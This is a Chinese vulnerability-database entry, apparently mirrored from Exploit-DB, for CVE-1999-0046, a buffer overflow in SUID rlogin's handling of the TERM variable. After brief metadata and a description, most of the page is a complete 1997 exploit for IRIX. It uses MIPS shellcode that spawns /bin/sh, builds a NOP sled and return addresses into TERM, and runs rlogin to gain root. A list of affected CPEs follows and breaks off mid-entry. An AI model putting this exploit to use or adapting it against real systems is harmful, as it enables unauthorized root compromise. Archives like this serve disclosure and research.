rlogin TERM缓冲区溢出漏洞

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漏洞ID 1105272 漏洞类型 缓冲区溢出
发布时间 1996-12-04 更新时间 2005-05-02
CVE编号 CVE-1999-0046 CNNVD-ID CNNVD-199702-008
漏洞平台 Unix CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/19203
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199702-008
|漏洞详情
使用TERM环境变量的rlogin程序存在缓冲区溢出漏洞。
|漏洞EXP
/*
source: http://www.securityfocus.com/bid/242/info

The SUID rlogin program is used to establish remote sessions. A buffer overflow condition has been found in the rlogin program that may allow an unauthorized user to gain root access. The overflow in particular is in the rlogin code that handles the TERM enviroment variable. Similar bugs have been known to exist in some telnetd implementations.

NOTE:

The vulnerability was updated august 2, 2000 to reflect certain versions of IRIX to be vulnerable.
*/

/*## copyright LAST STAGE OF DELIRIUM oct 1997 poland        *://lsd-pl.net/ #*/
/*## /usr/bsd/rlogin                                                         #*/

#define NOPNUM 4940
#define ADRNUM 5000 
#define ALLIGN 2

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],*b,*envp[2];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM oct 1997 poland  //lsd-pl.net/\n");
    printf("/usr/bsd/rlogin for irix 5.2 5.3 6.2 6.3 IP:17,19,20,21,22,32\n\n");

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10288+7000;

    envp[0]=buffer;
    envp[1]=0;

    b=buffer;
    sprintf(b,"TERM=");
    b+=5;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    for(i=0;i<ALLIGN;i++) *b++=0xff;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; 
    *b=0;

    execle("/usr/bsd/rlogin","rlogin","localhost",0,envp);
}
|参考资料
VulnerablesoftwareandversionsConfiguration1OR*cpe:/a:data_general:dg_ux:1.0*cpe:/a:data_general:dg_ux:2.0*cpe:/a:data_general:dg_ux:3.0*cpe:/a:data_general:dg_ux:4.0Configuration2OR*cpe:/o:bsdi:bsd_os:1.1*cpe:/o:bsdi:bsd_os:2.0*cpe:/o:bsdi:bsd_os:2.0.1*cpe:/o:bsdi:bsd_os:2.1*cpe:/o:debian:debian_linux:0.93*cpe:/o:digital:ultrix:2.2*cpe:/o:digital:ultrix:3.0*cpe:/o:digital:ultrix:4.0*cpe:/o:digital:ultrix:4.1*cpe:/o:digital:ultrix:4.2*cpe:/o:digital:ultrix:4.3*cpe:/o:digital:ultrix:4.3a*cpe:/o:digital:ultrix:4.4*cpe:/o:digital:ultrix:4.5*cpe:/o:digital:unix:3.2g*cpe:/o:digital:unix:4.0*cpe:/o:digital:unix:4.0a*cpe:/o:digital:unix:4.0b*cpe:/o:freebsd:freebsd:1.1.5.1*cpe:/o:freebsd:freebsd:2.0*cpe:/o:freebsd:freebsd:2.0.5*cpe:/o:freebsd:freebsd:2.1.0*cpe:/o:freebsd:freebsd:2.1.5*cpe:/o:hp:hp-ux:10.00*cpe:/o:hp:hp-ux:10.01*cpe:/o:hp:hp-ux:10.08*cpe:/o:hp:hp-ux:10.09*cpe:/o:hp:hp-ux:10.10*cpe:/o:hp:hp-ux:10.16*cpe:/o:hp:hp-ux:10.20*cpe:/o:hp:hp-ux:10.24*cpe:/o:hp:hp-ux:10.30*cpe:/o:hp:hp-ux